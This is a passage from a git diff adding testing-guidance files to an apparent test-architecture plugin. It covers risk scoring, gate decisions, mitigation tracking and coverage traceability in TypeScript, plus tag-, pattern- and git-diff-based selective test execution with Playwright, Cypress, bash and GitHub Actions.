+    description: `Affects ${failure.affectedUsers} users, $${failure.revenueImpact} revenue`,
+    probability,
+    impact,
+    score,
+    owner: 'unassigned',
+    status: score === 9 ? 'OPEN' : 'OPEN',
+  };
+}
+```
+
+**Key Points**:
+
+- **Objective scoring**: Probability (1-3) × Impact (1-3) = Score (1-9)
+- **Clear thresholds**: Score ≥6 requires mitigation, score = 9 blocks release
+- **Business context**: Revenue, users, security drive impact calculation
+- **Status tracking**: OPEN → MITIGATED → WAIVED → ACCEPTED lifecycle
+
+---
+
+### Example 2: Gate Decision Engine with Traceability Validation
+
+**Context**: Automated gate decision based on risk scores and test coverage
+
+**Implementation**:
+
+```typescript
+// gate-decision-engine.ts
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type CoverageGap = {
+  acceptanceCriteria: string;
+  testMissing: string;
+  reason: string;
+};
+
+export type GateResult = {
+  decision: GateDecision;
+  timestamp: Date;
+  criticalRisks: RiskScore[];
+  highRisks: RiskScore[];
+  coverageGaps: CoverageGap[];
+  summary: string;
+  recommendations: string[];
+};
+
+export function evaluateGate(params: { risks: RiskScore[]; coverageGaps: CoverageGap[]; waiverApprover?: string }): GateResult {
+  const { risks, coverageGaps, waiverApprover } = params;
+
+  // Categorize risks
+  const criticalRisks = risks.filter((r) => r.score === 9 && r.status === 'OPEN');
+  const highRisks = risks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+  const unresolvedGaps = coverageGaps.filter((g) => !g.reason);
+
+  // Decision logic
+  let decision: GateDecision;
+
+  // FAIL: Critical blockers (score=9) or missing coverage
+  if (criticalRisks.length > 0 || unresolvedGaps.length > 0) {
+    decision = 'FAIL';
+  }
+  // WAIVED: All risks waived by authorized approver
+  else if (risks.every((r) => r.status === 'WAIVED') && waiverApprover) {
+    decision = 'WAIVED';
+  }
+  // CONCERNS: High risks (score 6-8) with mitigation plans
+  else if (highRisks.length > 0 && highRisks.every((r) => r.mitigationPlan && r.owner !== 'unassigned')) {
+    decision = 'CONCERNS';
+  }
+  // PASS: No critical issues, all risks mitigated or low
+  else {
+    decision = 'PASS';
+  }
+
+  // Generate recommendations
+  const recommendations: string[] = [];
+  if (criticalRisks.length > 0) {
+    recommendations.push(`🚨 ${criticalRisks.length} CRITICAL risk(s) must be mitigated before release`);
+  }
+  if (unresolvedGaps.length > 0) {
+    recommendations.push(`📋 ${unresolvedGaps.length} acceptance criteria lack test coverage`);
+  }
+  if (highRisks.some((r) => !r.mitigationPlan)) {
+    recommendations.push(`⚠️  High risks without mitigation plans: assign owners and deadlines`);
+  }
+  if (decision === 'PASS') {
+    recommendations.push(`✅ All risks mitigated or acceptable. Ready for release.`);
+  }
+
+  return {
+    decision,
+    timestamp: new Date(),
+    criticalRisks,
+    highRisks,
+    coverageGaps: unresolvedGaps,
+    summary: generateSummary(decision, risks, unresolvedGaps),
+    recommendations,
+  };
+}
+
+function generateSummary(decision: GateDecision, risks: RiskScore[], gaps: CoverageGap[]): string {
+  const total = risks.length;
+  const critical = risks.filter((r) => r.score === 9).length;
+  const high = risks.filter((r) => r.score >= 6 && r.score < 9).length;
+
+  return `Gate Decision: ${decision}. Total Risks: ${total} (${critical} critical, ${high} high). Coverage Gaps: ${gaps.length}.`;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Example: Running gate check before deployment
+import { assessTestFailureRisk, evaluateGate } from './gate-decision-engine';
+
+// Collect risks from test results
+const risks: RiskScore[] = [
+  assessTestFailureRisk({
+    test: 'Payment processing with expired card',
+    category: 'BUS',
+    affectedUsers: 5000,
+    revenueImpact: 50000,
+    securityVulnerability: false,
+  }),
+  assessTestFailureRisk({
+    test: 'SQL injection in search endpoint',
+    category: 'SEC',
+    affectedUsers: 10000,
+    revenueImpact: 0,
+    securityVulnerability: true,
+  }),
+];
+
+// Identify coverage gaps
+const coverageGaps: CoverageGap[] = [
+  {
+    acceptanceCriteria: 'User can reset password via email',
+    testMissing: 'e2e/auth/password-reset.spec.ts',
+    reason: '', // Empty = unresolved
+  },
+];
+
+// Evaluate gate
+const gateResult = evaluateGate({ risks, coverageGaps });
+
+console.log(gateResult.decision); // 'FAIL'
+console.log(gateResult.summary);
+// "Gate Decision: FAIL. Total Risks: 2 (1 critical, 1 high). Coverage Gaps: 1."
+
+console.log(gateResult.recommendations);
+// [
+//   "🚨 1 CRITICAL risk(s) must be mitigated before release",
+//   "📋 1 acceptance criteria lack test coverage"
+// ]
+```
+
+**Key Points**:
+
+- **Automated decision**: No human interpretation required
+- **Clear criteria**: FAIL = critical risks or gaps, CONCERNS = high risks with plans, PASS = low risks
+- **Actionable output**: Recommendations drive next steps
+- **Audit trail**: Timestamp, decision, and context for compliance
+
+---
+
+### Example 3: Risk Mitigation Workflow with Owner Tracking
+
+**Context**: Track risk mitigation from identification to resolution
+
+**Implementation**:
+
+```typescript
+// risk-mitigation.ts
+export type MitigationAction = {
+  riskId: string;
+  action: string;
+  owner: string;
+  deadline: Date;
+  status: 'PENDING' | 'IN_PROGRESS' | 'COMPLETED' | 'BLOCKED';
+  completedAt?: Date;
+  blockedReason?: string;
+};
+
+export class RiskMitigationTracker {
+  private risks: Map<string, RiskScore> = new Map();
+  private actions: Map<string, MitigationAction[]> = new Map();
+  private history: Array<{ riskId: string; event: string; timestamp: Date }> = [];
+
+  // Register a new risk
+  addRisk(risk: RiskScore): void {
+    this.risks.set(risk.id, risk);
+    this.logHistory(risk.id, `Risk registered: ${risk.title} (Score: ${risk.score})`);
+
+    // Auto-assign mitigation requirements for score ≥6
+    if (requiresMitigation(risk.score) && !risk.mitigationPlan) {
+      this.logHistory(risk.id, `⚠️  Mitigation required (score ${risk.score}). Assign owner and plan.`);
+    }
+  }
+
+  // Add mitigation action
+  addMitigationAction(action: MitigationAction): void {
+    const risk = this.risks.get(action.riskId);
+    if (!risk) throw new Error(`Risk ${action.riskId} not found`);
+
+    const existingActions = this.actions.get(action.riskId) || [];
+    existingActions.push(action);
+    this.actions.set(action.riskId, existingActions);
+
+    this.logHistory(action.riskId, `Mitigation action added: ${action.action} (Owner: ${action.owner})`);
+  }
+
+  // Complete mitigation action
+  completeMitigation(riskId: string, actionIndex: number): void {
+    const actions = this.actions.get(riskId);
+    if (!actions || !actions[actionIndex]) throw new Error('Action not found');
+
+    actions[actionIndex].status = 'COMPLETED';
+    actions[actionIndex].completedAt = new Date();
+
+    this.logHistory(riskId, `Mitigation completed: ${actions[actionIndex].action}`);
+
+    // If all actions completed, mark risk as MITIGATED
+    if (actions.every((a) => a.status === 'COMPLETED')) {
+      const risk = this.risks.get(riskId)!;
+      risk.status = 'MITIGATED';
+      this.logHistory(riskId, `✅ Risk mitigated. All actions complete.`);
+    }
+  }
+
+  // Request waiver for a risk
+  requestWaiver(riskId: string, reason: string, approver: string, expiryDays: number): void {
+    const risk = this.risks.get(riskId);
+    if (!risk) throw new Error(`Risk ${riskId} not found`);
+
+    risk.status = 'WAIVED';
+    risk.waiverReason = reason;
+    risk.waiverApprover = approver;
+    risk.waiverExpiry = new Date(Date.now() + expiryDays * 24 * 60 * 60 * 1000);
+
+    this.logHistory(riskId, `⚠️  Waiver granted by ${approver}. Expires: ${risk.waiverExpiry}`);
+  }
+
+  // Generate risk report
+  generateReport(): string {
+    const allRisks = Array.from(this.risks.values());
+    const critical = allRisks.filter((r) => r.score === 9 && r.status === 'OPEN');
+    const high = allRisks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+    const mitigated = allRisks.filter((r) => r.status === 'MITIGATED');
+    const waived = allRisks.filter((r) => r.status === 'WAIVED');
+
+    let report = `# Risk Mitigation Report\n\n`;
+    report += `**Generated**: ${new Date().toISOString()}\n\n`;
+    report += `## Summary\n`;
+    report += `- Total Risks: ${allRisks.length}\n`;
+    report += `- Critical (Score=9, OPEN): ${critical.length}\n`;
+    report += `- High (Score 6-8, OPEN): ${high.length}\n`;
+    report += `- Mitigated: ${mitigated.length}\n`;
+    report += `- Waived: ${waived.length}\n\n`;
+
+    if (critical.length > 0) {
+      report += `## 🚨 Critical Risks (BLOCKERS)\n\n`;
+      critical.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score} (Probability: ${r.probability}, Impact: ${r.impact})\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Mitigation: ${r.mitigationPlan || 'NOT ASSIGNED'}\n\n`;
+      });
+    }
+
+    if (high.length > 0) {
+      report += `## ⚠️  High Risks\n\n`;
+      high.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score}\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Deadline: ${r.deadline?.toISOString().split('T')[0] || 'NOT SET'}\n\n`;
+      });
+    }
+
+    return report;
+  }
+
+  private logHistory(riskId: string, event: string): void {
+    this.history.push({ riskId, event, timestamp: new Date() });
+  }
+
+  getHistory(riskId: string): Array<{ event: string; timestamp: Date }> {
+    return this.history.filter((h) => h.riskId === riskId).map((h) => ({ event: h.event, timestamp: h.timestamp }));
+  }
+}
+```
+
+**Usage Example**:
+
+```typescript
+const tracker = new RiskMitigationTracker();
+
+// Register critical security risk
+tracker.addRisk({
+  id: 'risk-001',
+  category: 'SEC',
+  title: 'SQL injection vulnerability in user search',
+  description: 'Unsanitized input allows arbitrary SQL execution',
+  probability: 3,
+  impact: 3,
+  score: 9,
+  owner: 'security-team',
+  status: 'OPEN',
+});
+
+// Add mitigation actions
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add parameterized queries to user-search endpoint',
+  owner: 'alice@example.com',
+  deadline: new Date('2025-10-20'),
+  status: 'IN_PROGRESS',
+});
+
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add WAF rule to block SQL injection patterns',
+  owner: 'bob@example.com',
+  deadline: new Date('2025-10-22'),
+  status: 'PENDING',
+});
+
+// Complete first action
+tracker.completeMitigation('risk-001', 0);
+
+// Generate report
+console.log(tracker.generateReport());
+// Markdown report with critical risks, owners, deadlines
+
+// View history
+console.log(tracker.getHistory('risk-001'));
+// [
+//   { event: 'Risk registered: SQL injection...', timestamp: ... },
+//   { event: 'Mitigation action added: Add parameterized queries...', timestamp: ... },
+//   { event: 'Mitigation completed: Add parameterized queries...', timestamp: ... }
+// ]
+```
+
+**Key Points**:
+
+- **Ownership enforcement**: Every risk >4 requires owner assignment
+- **Deadline tracking**: Mitigation actions have explicit deadlines
+- **Audit trail**: Complete history of risk lifecycle (registered → mitigated)
+- **Automated reports**: Markdown output for Confluence/GitHub wikis
+
+---
+
+### Example 4: Coverage Traceability Matrix (Test-to-Requirement Mapping)
+
+**Context**: Validate that every acceptance criterion maps to at least one test
+
+**Implementation**:
+
+```typescript
+// coverage-traceability.ts
+export type AcceptanceCriterion = {
+  id: string;
+  story: string;
+  criterion: string;
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+};
+
+export type TestCase = {
+  file: string;
+  name: string;
+  criteriaIds: string[]; // Links to acceptance criteria
+};
+
+export type CoverageMatrix = {
+  criterion: AcceptanceCriterion;
+  tests: TestCase[];
+  covered: boolean;
+  waiverReason?: string;
+};
+
+export function buildCoverageMatrix(criteria: AcceptanceCriterion[], tests: TestCase[]): CoverageMatrix[] {
+  return criteria.map((criterion) => {
+    const matchingTests = tests.filter((t) => t.criteriaIds.includes(criterion.id));
+
+    return {
+      criterion,
+      tests: matchingTests,
+      covered: matchingTests.length > 0,
+    };
+  });
+}
+
+export function validateCoverage(matrix: CoverageMatrix[]): {
+  gaps: CoverageMatrix[];
+  passRate: number;
+} {
+  const gaps = matrix.filter((m) => !m.covered && !m.waiverReason);
+  const passRate = ((matrix.length - gaps.length) / matrix.length) * 100;
+
+  return { gaps, passRate };
+}
+
+// Example: Extract criteria IDs from test names
+export function extractCriteriaFromTests(testFiles: string[]): TestCase[] {
+  // Simplified: In real implementation, parse test files with AST
+  // Here we simulate extraction from test names
+  return [
+    {
+      file: 'tests/e2e/auth/login.spec.ts',
+      name: 'should allow user to login with valid credentials',
+      criteriaIds: ['AC-001', 'AC-002'], // Linked to acceptance criteria
+    },
+    {
+      file: 'tests/e2e/auth/password-reset.spec.ts',
+      name: 'should send password reset email',
+      criteriaIds: ['AC-003'],
+    },
+  ];
+}
+
+// Generate Markdown traceability report
+export function generateTraceabilityReport(matrix: CoverageMatrix[]): string {
+  let report = `# Requirements-to-Tests Traceability Matrix\n\n`;
+  report += `**Generated**: ${new Date().toISOString()}\n\n`;
+
+  const { gaps, passRate } = validateCoverage(matrix);
+
+  report += `## Summary\n`;
+  report += `- Total Criteria: ${matrix.length}\n`;
+  report += `- Covered: ${matrix.filter((m) => m.covered).length}\n`;
+  report += `- Gaps: ${gaps.length}\n`;
+  report += `- Waived: ${matrix.filter((m) => m.waiverReason).length}\n`;
+  report += `- Coverage Rate: ${passRate.toFixed(1)}%\n\n`;
+
+  if (gaps.length > 0) {
+    report += `## ❌ Coverage Gaps (MUST RESOLVE)\n\n`;
+    report += `| Story | Criterion | Priority | Tests |\n`;
+    report += `|-------|-----------|----------|-------|\n`;
+    gaps.forEach((m) => {
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${m.criterion.priority} | None |\n`;
+    });
+    report += `\n`;
+  }
+
+  report += `## ✅ Covered Criteria\n\n`;
+  report += `| Story | Criterion | Tests |\n`;
+  report += `|-------|-----------|-------|\n`;
+  matrix
+    .filter((m) => m.covered)
+    .forEach((m) => {
+      const testList = m.tests.map((t) => `\`${t.file}\``).join(', ');
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${testList} |\n`;
+    });
+
+  return report;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Define acceptance criteria
+const criteria: AcceptanceCriterion[] = [
+  { id: 'AC-001', story: 'US-123', criterion: 'User can login with email', priority: 'P0' },
+  { id: 'AC-002', story: 'US-123', criterion: 'User sees error on invalid password', priority: 'P0' },
+  { id: 'AC-003', story: 'US-124', criterion: 'User receives password reset email', priority: 'P1' },
+  { id: 'AC-004', story: 'US-125', criterion: 'User can update profile', priority: 'P2' }, // NO TEST
+];
+
+// Extract tests
+const tests: TestCase[] = extractCriteriaFromTests(['tests/e2e/auth/login.spec.ts', 'tests/e2e/auth/password-reset.spec.ts']);
+
+// Build matrix
+const matrix = buildCoverageMatrix(criteria, tests);
+
+// Validate
+const { gaps, passRate } = validateCoverage(matrix);
+console.log(`Coverage: ${passRate.toFixed(1)}%`); // "Coverage: 75.0%"
+console.log(`Gaps: ${gaps.length}`); // "Gaps: 1" (AC-004 has no test)
+
+// Generate report
+const report = generateTraceabilityReport(matrix);
+console.log(report);
+// Markdown table showing coverage gaps
+```
+
+**Key Points**:
+
+- **Bidirectional traceability**: Criteria → Tests and Tests → Criteria
+- **Gap detection**: Automatically identifies missing coverage
+- **Priority awareness**: P0 gaps are critical blockers
+- **Waiver support**: Allow explicit waivers for low-priority gaps
+
+---
+
+## Risk Governance Checklist
+
+Before deploying to production, ensure:
+
+- [ ] **Risk scoring complete**: All identified risks scored (Probability × Impact)
+- [ ] **Ownership assigned**: Every risk >4 has owner, mitigation plan, deadline
+- [ ] **Coverage validated**: Every acceptance criterion maps to at least one test
+- [ ] **Gate decision documented**: PASS/CONCERNS/FAIL/WAIVED with rationale
+- [ ] **Waivers approved**: All waivers have approver, reason, expiry date
+- [ ] **Audit trail captured**: Risk history log available for compliance review
+- [ ] **Traceability matrix**: Requirements-to-tests mapping up to date
+- [ ] **Critical risks resolved**: No score=9 risks in OPEN status
+
+## Integration Points
+
+- **Used in workflows**: `*trace` (Phase 2: gate decision), `*nfr-assess` (risk scoring), `*test-design` (risk identification)
+- **Related fragments**: `probability-impact.md` (scoring definitions), `test-priorities-matrix.md` (P0-P3 classification), `nfr-criteria.md` (non-functional risks)
+- **Tools**: Risk tracking dashboards (Jira, Linear), gate automation (CI/CD), traceability reports (Markdown, Confluence)
+
+_Source: Murat risk governance notes, gate schema guidance, enterprise production gate workflows, ISO 31000 risk management standards_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/selective-testing.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/selective-testing.md
new file mode 100644
index 0000000..e8becc3
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/selective-testing.md
@@ -0,0 +1,732 @@
+# Selective and Targeted Test Execution
+
+## Principle
+
+Run only the tests you need, when you need them. Use tags/grep to slice suites by risk priority (not directory structure), filter by spec patterns or git diff to focus on impacted areas, and combine priority metadata (P0-P3) with change detection to optimize pre-commit vs. CI execution. Document the selection strategy clearly so teams understand when full regression is mandatory.
+
+## Rationale
+
+Running the entire test suite on every commit wastes time and resources. Smart test selection provides fast feedback (smoke tests in minutes, full regression in hours) while maintaining confidence. The "32+ ways of selective testing" philosophy balances speed with coverage: quick loops for developers, comprehensive validation before deployment. Poorly documented selection leads to confusion about when tests run and why.
+
+## Pattern Examples
+
+### Example 1: Tag-Based Execution with Priority Levels
+
+**Context**: Organize tests by risk priority and execution stage using grep/tag patterns.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Tag-based test organization
+ * - @smoke: Critical path tests (run on every commit, < 5 min)
+ * - @regression: Full test suite (run pre-merge, < 30 min)
+ * - @p0: Critical business functions (payment, auth, data integrity)
+ * - @p1: Core features (primary user journeys)
+ * - @p2: Secondary features (supporting functionality)
+ * - @p3: Nice-to-have (cosmetic, non-critical)
+ */
+
+test.describe('Checkout Flow', () => {
+  // P0 + Smoke: Must run on every commit
+  test('@smoke @p0 should complete purchase with valid payment', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('order-confirmation')).toBeVisible();
+  });
+
+  // P0 but not smoke: Run pre-merge
+  test('@regression @p0 should handle payment decline gracefully', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4000000000000002'); // Decline card
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('payment-error')).toBeVisible();
+    await expect(page.getByTestId('payment-error')).toContainText('declined');
+  });
+
+  // P1 + Smoke: Important but not critical
+  test('@smoke @p1 should apply discount code', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('promo-code').fill('SAVE10');
+    await page.getByTestId('apply-promo').click();
+
+    await expect(page.getByTestId('discount-applied')).toBeVisible();
+  });
+
+  // P2: Run in full regression only
+  test('@regression @p2 should remember saved payment methods', async ({ page }) => {
+    await page.goto('/checkout');
+    await expect(page.getByTestId('saved-cards')).toBeVisible();
+  });
+
+  // P3: Low priority, run nightly or weekly
+  test('@nightly @p3 should display checkout page analytics', async ({ page }) => {
+    await page.goto('/checkout');
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS__);
+    expect(analyticsEvents).toBeDefined();
+  });
+});
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test": "playwright test",
+    "test:smoke": "playwright test --grep '@smoke'",
+    "test:p0": "playwright test --grep '@p0'",
+    "test:p0-p1": "playwright test --grep '@p0|@p1'",
+    "test:regression": "playwright test --grep '@regression'",
+    "test:nightly": "playwright test --grep '@nightly'",
+    "test:not-slow": "playwright test --grep-invert '@slow'",
+    "test:critical-smoke": "playwright test --grep '@smoke.*@p0'"
+  }
+}
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout.cy.ts
+describe('Checkout Flow', { tags: ['@checkout'] }, () => {
+  it('should complete purchase', { tags: ['@smoke', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4242424242424242');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="order-confirmation"]').should('be.visible');
+  });
+
+  it('should handle decline', { tags: ['@regression', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4000000000000002');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="payment-error"]').should('be.visible');
+  });
+});
+
+// cypress.config.ts
+export default defineConfig({
+  e2e: {
+    env: {
+      grepTags: process.env.GREP_TAGS || '',
+      grepFilterSpecs: true,
+    },
+    setupNodeEvents(on, config) {
+      require('@cypress/grep/src/plugin')(config);
+      return config;
+    },
+  },
+});
+```
+
+**Usage**:
+
+```bash
+# Playwright
+npm run test:smoke                    # Run all @smoke tests
+npm run test:p0                       # Run all P0 tests
+npm run test -- --grep "@smoke.*@p0"  # Run tests with BOTH tags
+
+# Cypress (with @cypress/grep plugin)
+npx cypress run --env grepTags="@smoke"
+npx cypress run --env grepTags="@p0+@smoke"  # AND logic
+npx cypress run --env grepTags="@p0 @p1"     # OR logic
+```
+
+**Key Points**:
+
+- **Multiple tags per test**: Combine priority (@p0) with stage (@smoke)
+- **AND/OR logic**: Grep supports complex filtering
+- **Clear naming**: Tags document test importance
+- **Fast feedback**: @smoke runs < 5 min, full suite < 30 min
+- **CI integration**: Different jobs run different tag combinations
+
+---
+
+### Example 2: Spec Filter Pattern (File-Based Selection)
+
+**Context**: Run tests by file path pattern or directory for targeted execution.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-spec-runner.sh
+# Run tests based on spec file patterns
+
+set -e
+
+PATTERN=${1:-"**/*.spec.ts"}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Spec Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Pattern: $PATTERN"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Pattern examples and their use cases
+case "$PATTERN" in
+  "**/checkout*")
+    echo "📦 Running checkout-related tests"
+    npx playwright test --grep-files="**/checkout*"
+    ;;
+  "**/auth*"|"**/login*"|"**/signup*")
+    echo "🔐 Running authentication tests"
+    npx playwright test --grep-files="**/auth*|**/login*|**/signup*"
+    ;;
+  "tests/e2e/**")
+    echo "🌐 Running all E2E tests"
+    npx playwright test tests/e2e/
+    ;;
+  "tests/integration/**")
+    echo "🔌 Running all integration tests"
+    npx playwright test tests/integration/
+    ;;
+  "tests/component/**")
+    echo "🧩 Running all component tests"
+    npx playwright test tests/component/
+    ;;
+  *)
+    echo "🔍 Running tests matching pattern: $PATTERN"
+    npx playwright test "$PATTERN"
+    ;;
+esac
+```
+
+**Playwright config for file filtering**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  // ... other config
+
+  // Project-based organization
+  projects: [
+    {
+      name: 'smoke',
+      testMatch: /.*smoke.*\.spec\.ts/,
+      retries: 0,
+    },
+    {
+      name: 'e2e',
+      testMatch: /tests\/e2e\/.*\.spec\.ts/,
+      retries: 2,
+    },
+    {
+      name: 'integration',
+      testMatch: /tests\/integration\/.*\.spec\.ts/,
+      retries: 1,
+    },
+    {
+      name: 'component',
+      testMatch: /tests\/component\/.*\.spec\.ts/,
+      use: { ...devices['Desktop Chrome'] },
+    },
+  ],
+});
+```
+
+**Advanced pattern matching**:
+
+```typescript
+// scripts/run-by-component.ts
+/**
+ * Run tests related to specific component(s)
+ * Usage: npm run test:component UserProfile,Settings
+ */
+
+import { execSync } from 'child_process';
+
+const components = process.argv[2]?.split(',') || [];
+
+if (components.length === 0) {
+  console.error('❌ No components specified');
+  console.log('Usage: npm run test:component UserProfile,Settings');
+  process.exit(1);
+}
+
+// Convert component names to glob patterns
+const patterns = components.map((comp) => `**/*${comp}*.spec.ts`).join(' ');
+
+console.log(`🧩 Running tests for components: ${components.join(', ')}`);
+console.log(`Patterns: ${patterns}`);
+
+try {
+  execSync(`npx playwright test ${patterns}`, {
+    stdio: 'inherit',
+    env: { ...process.env, CI: 'false' },
+  });
+} catch (error) {
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test:checkout": "playwright test **/checkout*.spec.ts",
+    "test:auth": "playwright test **/auth*.spec.ts **/login*.spec.ts",
+    "test:e2e": "playwright test tests/e2e/",
+    "test:integration": "playwright test tests/integration/",
+    "test:component": "ts-node scripts/run-by-component.ts",
+    "test:project": "playwright test --project",
+    "test:smoke-project": "playwright test --project smoke"
+  }
+}
+```
+
+**Key Points**:
+
+- **Glob patterns**: Wildcards match file paths flexibly
+- **Project isolation**: Separate projects have different configs
+- **Component targeting**: Run tests for specific features
+- **Directory-based**: Organize tests by type (e2e, integration, component)
+- **CI optimization**: Run subsets in parallel CI jobs
+
+---
+
+### Example 3: Diff-Based Test Selection (Changed Files Only)
+
+**Context**: Run only tests affected by code changes for maximum speed.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/test-changed-files.sh
+# Intelligent test selection based on git diff
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🔍 Changed File Test Selector"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Get changed files
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Arrays to collect test specs
+DIRECT_TEST_FILES=()
+RELATED_TEST_FILES=()
+RUN_ALL_TESTS=false
+
+# Process each changed file
+while IFS= read -r file; do
+  case "$file" in
+    # Changed test files: run them directly
+    *.spec.ts|*.spec.js|*.test.ts|*.test.js|*.cy.ts|*.cy.js)
+      DIRECT_TEST_FILES+=("$file")
+      ;;
+
+    # Critical config changes: run ALL tests
+    package.json|package-lock.json|playwright.config.ts|cypress.config.ts|tsconfig.json|.github/workflows/*)
+      echo "⚠️  Critical file changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Component changes: find related tests
+    src/components/*.tsx|src/components/*.jsx)
+      COMPONENT_NAME=$(basename "$file" | sed 's/\.[^.]*$//')
+      echo "🧩 Component changed: $COMPONENT_NAME"
+
+      # Find tests matching component name
+      FOUND_TESTS=$(find tests -name "*${COMPONENT_NAME}*.spec.ts" -o -name "*${COMPONENT_NAME}*.cy.ts" 2>/dev/null || true)
+      if [ -n "$FOUND_TESTS" ]; then
+        while IFS= read -r test_file; do
+          RELATED_TEST_FILES+=("$test_file")
+        done <<< "$FOUND_TESTS"
+      fi
+      ;;
+
+    # Utility/lib changes: run integration + unit tests
+    src/utils/*|src/lib/*|src/helpers/*)
+      echo "⚙️  Utility file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/unit tests/integration -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # API changes: run integration + e2e tests
+    src/api/*|src/services/*|src/controllers/*)
+      echo "🔌 API file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/integration tests/e2e -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # Type changes: run all TypeScript tests
+    *.d.ts|src/types/*)
+      echo "📝 Type definition changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Documentation only: skip tests
+    *.md|docs/*|README*)
+      echo "📄 Documentation changed: $file (no tests needed)"
+      ;;
+
+    *)
+      echo "❓ Unclassified change: $file (running smoke tests)"
+      RELATED_TEST_FILES+=($(find tests -name "*smoke*.spec.ts" 2>/dev/null || true))
+      ;;
+  esac
+done <<< "$CHANGED_FILES"
+
+# Execute tests based on analysis
+if [ "$RUN_ALL_TESTS" = true ]; then
+  echo ""
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🚨 Running FULL test suite (critical changes detected)"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  npm run test
+  exit $?
+fi
+
+# Combine and deduplicate test files
+ALL_TEST_FILES=(${DIRECT_TEST_FILES[@]} ${RELATED_TEST_FILES[@]})
+UNIQUE_TEST_FILES=($(echo "${ALL_TEST_FILES[@]}" | tr ' ' '\n' | sort -u))
+
+if [ ${#UNIQUE_TEST_FILES[@]} -eq 0 ]; then
+  echo ""
+  echo "✅ No tests found for changed files. Running smoke tests."
+  npm run test:smoke
+  exit $?
+fi
+
+echo ""
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎯 Running ${#UNIQUE_TEST_FILES[@]} test file(s)"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+for test_file in "${UNIQUE_TEST_FILES[@]}"; do
+  echo "  - $test_file"
+done
+
+echo ""
+npm run test -- "${UNIQUE_TEST_FILES[@]}"
+```
+
+**GitHub Actions integration**:
+
+```yaml
+# .github/workflows/test-changed.yml
+name: Test Changed Files
+on:
+  pull_request:
+    types: [opened, synchronize, reopened]
+
+jobs:
+  detect-and-test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Get changed files
+        id: changed-files
+        uses: tj-actions/changed-files@v40
+        with:
+          files: |
+            src/**
+            tests/**
+            *.config.ts
+          files_ignore: |
+            **/*.md
+            docs/**
+
+      - name: Run tests for changed files
+        if: steps.changed-files.outputs.any_changed == 'true'
+        run: |
+          echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
+          bash scripts/test-changed-files.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
